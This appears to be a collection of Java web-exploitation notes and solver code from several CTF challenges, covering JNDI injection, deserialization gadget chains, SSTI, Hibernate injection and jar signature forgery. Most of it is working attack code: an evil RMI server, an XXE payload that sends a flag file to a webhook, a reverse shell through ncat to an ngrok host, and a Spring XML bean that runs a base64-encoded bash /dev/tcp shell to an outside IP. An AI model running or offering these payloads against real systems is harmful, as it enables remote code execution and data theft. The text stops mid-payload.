Java deserialization article
us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf
Zabbix Java Gateway 7.2.1 - JNDI Injection
| Event Name | QiangWang CTF 2025 |
| GitHub URL | - |
| Challenge Name | wuwa |
Attachments
References
solve
#!/usr/bin/env python3
"""
Zabbix Java Gateway 7.2.1 - JNDI Injection
JDK 1.7 RMI and LDAP only
"""
import requests
import struct
import json
import sys
# Target configuration
TARGET_HOST = "172.31.7.19"
TARGET_PORT = 8000
ZABBIX_HOST = "127.0.0.1"
ZABBIX_PORT = 10052
# YOUR ATTACKER IP
ATTACKER_IP = "10.222.7.25"
# Authentication
AUTH_TOKEN = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTUxNjIzOTAyMn0.-t_hr3O8OU1Zz9E1B6dfdfM_9kbwsJbtbhvNc0bifVk"
HEADERS = {
"Authorization": AUTH_TOKEN,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0",
}
def make_zabbix_payload(json_data: dict) -> str:
header = b"ZBXD\x01"
data = json.dumps(json_data).encode()
length = struct.pack("<Q", len(data))
payload = header + length + data
escape_str = "".join(f"\\x{b:02x}" for b in payload)
return escape_str
def send_request(json_data: dict, description: str = ""):
payload = make_zabbix_payload(json_data)
print(f"\n{'='*60}")
if description:
print(f"[*] {description}")
print(f"[*] jmx_endpoint: {json_data.get('jmx_endpoint', 'N/A')}")
data = {
"action": "send",
"mode": "tcp",
"http_method": "GET",
"http_url": "",
"http_body": "",
"tcp_host": ZABBIX_HOST,
"tcp_port": ZABBIX_PORT,
"tcp_payload": payload,
"tcp_hex": "on",
}
url = f"http://{TARGET_HOST}:{TARGET_PORT}/admin/nettools"
try:
resp = requests.post(url, headers=HEADERS, data=data, timeout=15)
if "result-preview" in resp.text:
start = resp.text.find('<pre class="result-preview">') + len('<pre class="result-preview">')
end = resp.text.find('</pre>', start)
result = resp.text[start:end].strip()
result = result.replace("'", "'").replace(""", '"').replace("<", "<").replace(">", ">")
print(f"[+] Response: {result[:200]}...")
return result
else:
print(f"[-] No result")
return None
except Exception as e:
print(f"[-] Failed: {e}")
return None
def main():
print("="*60)
print(" Zabbix Java Gateway 7.2.1 - JNDI Injection RCE")
print("="*60)
print(f"\n[*] Attacker IP: {ATTACKER_IP}")
print("[*] JDK 1.7 RMI and LDAP only")
print()
aaa = "do9it4"
# JDK 1.7 payloads only - UPDATE the path from your JNDI server!
payloads = [
("JDK 1.7 RMI", f"service:jmx:rmi:///jndi/rmi://{ATTACKER_IP}:1099/{aaa}"),
("JDK 1.7 LDAP", f"service:jmx:rmi:///jndi/ldap://{ATTACKER_IP}:1389/{aaa}"),
]
for name, jndi_url in payloads:
send_request({
"request": "java gateway jmx",
"jmx_endpoint": jndi_url,
"keys": ["jmx[test]"]
}, f"Trying {name}")
if __name__ == "__main__":
main()N1CTF
| Event Name | N1CTF |
| GitHub URL | https://github.com/Nu1LCTF/n1ctf-2025/tree/main/web/n1cat |
| Challenge Name | n1cat |
Attachments
References
solution 1
Jackson + SpringAOP Deserialization GadGet
https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
public class PayloadGenerator {
public static Object getPayload() throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(cl, null);
} catch (Exception ignored) {
System.out.println(ignored);
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(PayloadGenerator.class);
classes.add(Field.class);
classes.add(Method.class);
new PayloadGenerator().bypassModule(classes);
byte[] code1 = getTemplateCode("touch /tmp/success");
byte[] code2 = ClassPool.getDefault().makeClass(randomString(6)).toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates, "_transletIndex", 0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList ell = getEventListenerList(node);
serialize(ell, true);
return ell;
}
public static byte[] serialize(Object obj, boolean printBase64) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (printBase64) {
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor<?> ctor = Class
.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(advisedSupport);
return Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class},
handler
);
}
public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass(randomString(6));
String block = "Runtime.getRuntime().exec(\""+cmd+"\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undo = new UndoManager();
Vector v = (Vector) getFieldValue(undo, "edits");
v.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undo});
return list;
}
public static String randomString(int length) {
String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder(length);
java.util.Random random = new java.util.Random();
for (int i = 0; i < length; i++) {
sb.append(chars.charAt(random.nextInt(chars.length())));
}
return sb.toString();
}
private static Method getMethod(Class<?> clazz, String name, Class<?>[] params) {
Method m = null;
while (clazz != null) {
try {
m = clazz.getDeclaredMethod(name, params);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return m;
}
private static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
}
public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = getUnsafe();
Class<?> currentClass = this.getClass();
try {
Method getModule = getMethod(Class.class, "getModule", new Class[0]);
if (getModule != null) {
for (Class c : classes) {
Object targetModule = getModule.invoke(c,new Object[]{});
unsafe.getAndSetObject(
currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
targetModule
);
}
}
} catch (Exception ignored) {}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
Class<?> c = obj.getClass();
for (int i = 0; i < 5 && c != null; i++) {
try {
f = c.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) throw new NoSuchFieldException(fieldName);
f.setAccessible(true);
return f.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
}solution 2
Tomcat Beanfactory file read
n1cat:
首先利用CVE-2025-55752读源码,拿到welcomeServlet.class和User.class
参考:CVE-2025-55752 Apache Tomcat 路径穿越漏洞影响范围修正与利用分析
welcomeServlet.class
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: download (1) */
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (shouldDelegate(pathWithinApp)) {
delegateToDefaultResource(pathWithinApp, request, response);
return;
}
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (isBlank(jsonPayload)) {
response.sendRedirect(defaultRedirectTarget(request));
return;
}
try {
User user = (User) OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (isBlank(name) || isBlank(word)) {
response.sendRedirect(defaultRedirectTarget(request));
} else {
renderResponse(response, name, word, url);
}
} catch (RuntimeException e) {
response.sendError(400, "Invalid user data");
} catch (JsonProcessingException e2) {
response.sendError(400, "Invalid JSON payload");
}
}
private boolean shouldDelegate(String pathWithinApp) {
return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("<html><body>");
out.println("<h1>" + escapeHtml(name) + "</h1>");
out.println("<p>" + escapeHtml(word) + "</p>");
if (!isBlank(url)) {
out.println("<p>URL: " + escapeHtml(url) + "</p>");
}
out.println("</body></html>");
if (out != null) {
out.close();
}
} catch (Throwable th) {
if (out != null) {
try {
out.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}
private String escapeHtml(String input) {
if (input == null) {
return "";
}
return input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
return request.getContextPath() + "/?name=" + urlEncode(DEFAULT_NAME) + "&word=" + urlEncode(DEFAULT_WORD);
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
User.class
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
/* loaded from: download (2) */
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
System.out.println("url: " + url);
try {
new InitialContext().lookup(url);
} catch (NamingException e) {
throw new RuntimeException((Throwable) e);
}
}
}
User里有一个setUrl,存在jndi
可以通过Jackson的readValue去调用User的setUrl方法打JNDI
高版本的Tomcat没有BeanFactory,这里打的JNDI XXE盲注
Server
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class XXEpoc {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase",null,"","",
true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null );
resourceRef.add(new StringRefAddr("pathname", "<http://ip>:port/xxe.xml"));
LoggingReferenceWrapper referenceWrapper = new LoggingReferenceWrapper(resourceRef);
registry.bind("XXEpoc", referenceWrapper);
}
public static class LoggingReferenceWrapper extends ReferenceWrapper {
public LoggingReferenceWrapper(Reference ref) throws RemoteException, NamingException {
super(ref);
}
@Override
public Reference getReference() throws RemoteException {
System.out.println("getReference() 被调用");
return super.getReference();
}
}
}
XXE payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "<http://113.45.175.138:13333/123.dtd>">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'https://webhook.site/626cc58f-ce75-4b88-bf17-062e8b8fad50?flag=%file;'>">
直接读根目录的flag
solution 3
I set it up locally and use JNDIMap:
Using the local PoC, I changed the Dockerfile to tomcat:9.0.34 (Older version that 9.0.63), and it did execute my code successfully, returning null as result on the lookup meaning it was instantiated:
Lookup OK for 'rmi://77.237.242.250:1099/TomcatBypass/Command/Y3VybCBodHRwOi8vOTM4NGE0OGItNWVjMS00ODQwLTg0YzYtMjZlMmU0YjIyNjIzLndlYmhvb2suc2l0ZQ==': null
Bumped it to 9.0.108 (Around 5 years gap), and it returned the following, an uninstantiated reference:
Lookup OK for 'rmi://77.237.242.250:1099/TomcatBypass/Command/Y3VybCBodHRwOi8vOTM4NGE0OGItNWVjMS00ODQwLTg0YzYtMjZlMmU0YjIyNjIzLndlYmhvb2suc2l0ZQ==': ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=x=eval},{type=x,content="".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var s = 'yv66vgAAADQANwEACFlBNmRvc0pFBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEAE1tMamF2YS9sYW5nL1N0cmluZzsHAAoBAA1TdGFja01hcFRhYmxlDAAFAAYKAAQADQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA8AEAoACQARAQAHb3MubmFtZQgAEwEAEGphdmEvbGFuZy9TeXN0ZW0HABUBAAtnZXRQcm9wZXJ0ewInstance().decodeBuffer(s);} catch (e) {bt = java.util.Base64.getDecoder().decode(s);}var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();")}]
Powerfull JNDI injection tools
Wicket SSTI
| Event Name | COR CTF 2025 |
| GitHub URL | - |
| Challenge Name | corlang |
Attachments
References
ssti
package com.jazz.conlang.model;
import java.io.Serializable;
import org.apache.wicket.Component;
import org.apache.wicket.model.IModel;
import org.apache.wicket.model.Model;
import org.apache.wicket.model.StringResourceModel;
import jakarta.persistence.Column;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.Id;
@Entity
public class Translation implements Serializable {
@Id
@GeneratedValue
private Long id;
private String keyName;
private String localeTag;
@Column(name = "translation_value")
private String value;
private boolean approved;
private String providedBy;
...snip...
/**
* Creates a Wicket model that renders this translation.
*
* @param context The Wicket component or page to use for property resolution.
*/
public IModel<String> render(Component context) {
return new StringResourceModel(this.keyName, context, Model.of(context))
.setDefaultValue(this.value);
}
}
...snip...
Long translationId = parameters.get("id").toLong();
Translation translation = repo.findById(translationId).orElse(null);
if (translation == null) {
setResponsePage(AdminPage.class);
return;
}
author = userRepo.findByUsername(translation.getAuthor());
add(new FeedbackPanel("feedback"));
add(new Label("keyName", translation.getKeyName()));
add(new Label("locale", translation.getLocaleTag()));
add(new Label("proposed", translation.getValue()));
add(new Label("rendered", translation.render(this)));
add(new Label("approved", String.valueOf(translation.isApproved())));
add(new Label("author", formatAuthorInfo(author)));corlang: use this twice to get your karma > 10
${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}
disconnect and reconnect
${tokenRepo.findAll()[0].value}
to get the flag
Hibernate RCE in the orders_container via JdiInitiator Constructor
| Event Name | Project Sekai CTF 2025 |
| GitHub URL | https://github.com/project-sekai-ctf/sekaictf-2025/ |
| Challenge Name | hqli-me |
Attachments
References
new jdk.jshell.execution.JdiInitiator(5, new list(""), new java.lang.String("asdf"), true, null, 8000, new map("^" as quote,"^bash^-c^id^>/tmp/win^" as home)) UNION select new jdk.jshell.execution.JdiInitiator(0, new list(""), new java.lang.String("jdk.jshell.execution.RemoteExecutionControl"), true, null, 8000, new map("a" as a,"b" as b))
author solver
import base64
import requests
base_url = "http://localhost:1337"
leak_sess_id = "a"
cmd = "/flag"
sess = requests.Session()
sessionId = sess.post(
f"{base_url}/login", data={"username": "guest", "password": "guest"}
)
p = """
\\" and function('CSVWRITE','/tmp/kek','select 1;CREATE ALIAS SHELLEXEC AS ''void leak(String sessId, String cmd) throws java.lang.Exception {sekai.HibernateUtil.addSession(new sekai.Session(sekai.HibernateUtil.addUser(new sekai.User(new java.lang.String(new java.lang.ProcessBuilder(cmd).start().getInputStream().readAllBytes()).concat(new java.lang.String(new byte[]{39, 124, 124, 34})), cmd)), sessId));}//''; CALL SHELLEXEC(''%s'', ''%s'')','charset=UTF-8')=\\"
""".replace(
"\n", ""
) % (
leak_sess_id,
cmd,
)
cmd = f"""
wget --header='Content-Type: application/x-www-form-urlencoded' --post-data "username=u&password={p}" http://127.0.0.1:8000/login
""".strip()
cmd = (
"/bin/bash -c {echo,"
+ base64.b64encode(cmd.encode()).decode()
+ "}|{base64,-d}|{bash,-i}"
)
constr_bytes = "/**/,".join(
",".join(str(ord(c)) for c in cmd[i : i + 60]) for i in range(0, len(cmd), 60)
)
java_code = (
"""
Runtime.getRuntime().exec(new String(new byte[]{%s}));
"""
% constr_bytes
)
col = f'new jdk.jshell.execution.JdiInitiator(0, new java.util.ArrayList(0), "jdk/tools/jlink/internal/Main --save-opts /tmp/lol", true, "localhost", 3000000, new map("jdk/tools/jlink/internal/Main --output /tmp/ab --add-modules java.base -p \\"\\n{java_code}\\" --save-opts /tmp/lol" as main, "n,server=y,suspend=n,address=localhost:13370" as includevirtualthreads))'
col = f"{col} union select {col} "
def order(sessionId, fields):
return sess.post(
f"{base_url}/orders",
data={"sessionId": sessionId, "fields": fields},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
order(sessionId=sessionId, fields=col)
col = f'new jdk.jshell.execution.JdiInitiator(0, new java.util.ArrayList(0), "jdk/internal/jshell/tool/JShellToolProvider /tmp/lol", true, "localhost", 3000000, new map("n,server=y,suspend=n,address=localhost:13370" as includevirtualthreads))'
col = f"{col} union select {col} "
order(sessionId=sessionId, fields=col)
print(order(sessionId=leak_sess_id, fields="1||'").text)arbitrary write primitive to ACE
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | Red wEDDIng |
Attachments
At this point, we've got ourselves an arbitrary write primitive. This is a very strong primitive and often leads to trivial ways to get ACE, but there's no instant win in this case, as we'll soon find out. From a shell in the container we can look for candidates to overwrite:
find / -user jboss -writable 2>/dev/null | grep -v "^/proc/"
strace -p 1 -f -e trace=file,sendto,execve,access,execveat
When interacting with the webpage or triggering an import with curl, we can see many openat calls for .jar files. Here's a few:
[pid 501] openat(AT_FDCWD, "/deployments/lib/main/jakarta.ws.rs.jakarta.ws.rs-api-3.1.0.jar", O_RDONLY) = 13
[pid 501] openat(AT_FDCWD, "/deployments/lib/main/org.eclipse.microprofile.openapi.microprofile-openapi-api-4.0.2.jar", O_RDONLY) = 24
[pid 501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.quarkus-rest-client-jaxrs-3.18.2.jar", O_RDONLY) = 33
[pid 501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.resteasy.reactive.resteasy-reactive-common-3.18.2.jar", O_RDONLY) = 24
[pid 501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.resteasy.reactive.resteasy-reactive-client-3.18.2.jar", O_RDONLY) = 13
[pid 166] openat(AT_FDCWD, "/deployments/lib/main/com.fasterxml.jackson.core.jackson-databind-2.18.2.jar", O_RDONLY) = 33
[pid 504] openat(AT_FDCWD, "/deployments/lib/main/com.fasterxml.jackson.core.jackson-annotations-2.18.2.jar", O_RDONLY) = 24
to poison jars you can use this too
https://github.com/pspaul/jar-poisoner
comment
i remember this problem showing up in a different ctf a while back (or maybe we were trying to unintended it, idr) and we got tripped up by the fact that jvm seems to cache some offsets into the zip files
and if the new classes aren't in the same spot in the file it breaksStructurizr DSL Remote Code Execution via workspace extension structurizr/onpremises v3.1.0
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | KalmarDSL |
Attachments
References
workspace extends http://0.tcp.ap.ngrok.io:17964/exploit.dsl {
}
workspace {
!script ruby {
value = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|ncat 0.tcp.ap.ngrok.io 11310 >/tmp/f`
}
}
CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader4.
| Event Name | TPCTF |
| GitHub URL | - |
| Challenge Name | verified toolbox |
author writeup
It uses Spring Boot 3.3.2, so it’s CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader4.
The vulnerability is that spring-boot-loader uses JarInputStream to verify the signatures but uses a custom ZipContent class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. JarInputStream reads a JAR file from start to end, while ZipContent read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.
You can also find the commit that fixes this vulnerability along with the mismatched.jar test case, and then create the malicious JAR file based on mismatched.jar.
#!/bin/bash
set -euo pipefail
url="$1"
javac Tool.java
jar cf exp.jar Tool.class
rm -f keystore.jks
keytool -genkeypair \
-alias exp \
-dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
-keyalg DSA \
-keysize 2048 \
-validity 1 \
-keystore keystore.jks \
-storepass 133337
jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp
curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar
python exp.py
jar cf0 nested.jar inner.jar
curl -F file=@nested.jar -F path=inner.jar -F input='/readflag give me the flag' "$url"/runwith open('hello.jar', 'rb') as f:
signed = f.read()
with open('exp.jar', 'rb') as f:
exp = f.read()
shift = len(signed)
exp_list = list(exp)
eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset
cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
if exp[pos:pos+4] == b'PK\x01\x02':
lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
exp_list[pos+42:pos+46] = new_lfh_offset
pos += 46
else:
pos += 1
modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
f.write(signed)
f.write(modified_exp)import java.io.ByteArrayOutputStream;
public class Tool {
public static String run(String cmd) {
try {
ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
Process process = processBuilder.start();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(String.format("\n$ %s\n", cmd).getBytes());
process.getInputStream().transferTo(bos);
process.getErrorStream().transferTo(bos);
return bos.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}us-16-MunozMirosh-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (blackhat.com)
Nulbyte terminated string in java debian.
https://hackmd.io/@Solderet/BJkDWpmoh#Web-Tool—Web-Solve-After-CTF
TETCTF 2024 J4v4 Censored
Note:
- In prod `J4v4 Censored` and `LordGPT` deploy on VPS + domain, you can abuse it
- Team KCSC solved this chall with a clever trick to bypass some holes :clap::clap: (unintended)
- Source + debug = smooth sailing.
docker for chall J4v4 Censored. https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing
SSRF can follow redirects, use it to bypass get touch to endpoint SSTI https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/
in java application we can do url path transversal
linectf 2024 heritage
“/api/external/..;/intern%61l/”
Java Deserialization, bypass log4shell in java 17
log4j -> jndi -> tomcat setter -> cc deserialization
Triggering the use of RMI:
/**
*
* org.apache.commons.collections.enableUnsafeSerialization
* @param values
* @return
*/
public ResourceRef tomcat_groovy_setter(String values){
ResourceRef ref = new ResourceRef("org.apache.groovy.util.SystemUtil", null, "", "",true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
ref.add(new StringRefAddr("SystemPropertyFrom", values));
return ref;
}
Then you can deserialize after cc 3.2.2
import com.xbx.util.Gadgets;
import com.xbx.util.tools;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.*;
public class cc_xml {
public static void main(String[] args) throws Exception{
InstantiateFactory instantiateFactory = new InstantiateFactory(ClassPathXmlApplicationContext.class,
new Class[]{String.class},
new Object[]{"<http://148.135.55.70:8989/1.xml>"});
List list = new ArrayList();
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, factoryTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet hashSet = Gadgets.toHashCode(entry);
byte[] serialize = tools.serialize(hashSet);
System.out.println(tools.base64Encode(serialize));
}
}
Implementation through ldap deserialization: https://github.com/Firebasky/LdapBypassJndi
Load 1.xml
<beans xmlns="<http://www.springframework.org/schema/beans>" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xsi:schemaLocation="<http://www.springframework.org/schema/beans> <http://www.springframework.org/schema/beans/spring-beans.xsd>">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>
<![CDATA[{echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjU1LjcwLzIzMzMgMD4mMSI=}|{base64,-d}|{bash,-i}]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
more
https://mp.weixin.qq.com/s/9EJPZ_5wtKDk7SWyAzecTg
https://avss.geekcon.top/writeup.html
https://avss.geekcon.top/writeup.html
tools
More about java deserialization bypass on version 21
it is notable that serialVersionUID of some classes are different between Java 1.8 and Java 21. You can patch the serialVersionUID manually or run your tool on Java 21 with --add-opens. I think too many --add-opens are annoying for exploitation, so I write a simple library magic.jms, maybe helpful.
ini nambahin field static baru private static final long serialVersionUID = 4518184867334648906L;
if there error like this
app-1 | Caused by: java.lang.ClassNotFoundException: org.apache.naming.ResourceRef (no security manager: RMI class loader disabled)
it’s becouse the naming resource ref isn’t imported
the victim must add dependency required for the exploit to work
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>com.dimas.Main</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>assemble-all</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
Java deserialization magic method
readObject readUnshared readResolve readObjectNoData readExternal hashCode equals compare
Groovy meta programming can be abused to gain RCE
Orange: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
dangerousnes of groovy.lang.GroovyClassLoader.parseClass
package payloads.deserial;
import com.dimas.Command;
import com.dimas.Gadget;
import payloads.annotation.Authors;
import payloads.annotation.Dependencies;
import payloads.face.ObjectPayload;
import util.PayloadRunner;
@Authors({"Dimas"})
@Dependencies({"This is example of deserialization payload"})
public class Example extends PayloadRunner implements ObjectPayload<Gadget> {
public Gadget getObject(final String command) throws Exception {
String base64Command = new String(java.util.Base64.getEncoder().encode(command.getBytes()));
String payload = "@groovy.transform.ASTTest(value={\r\n" +
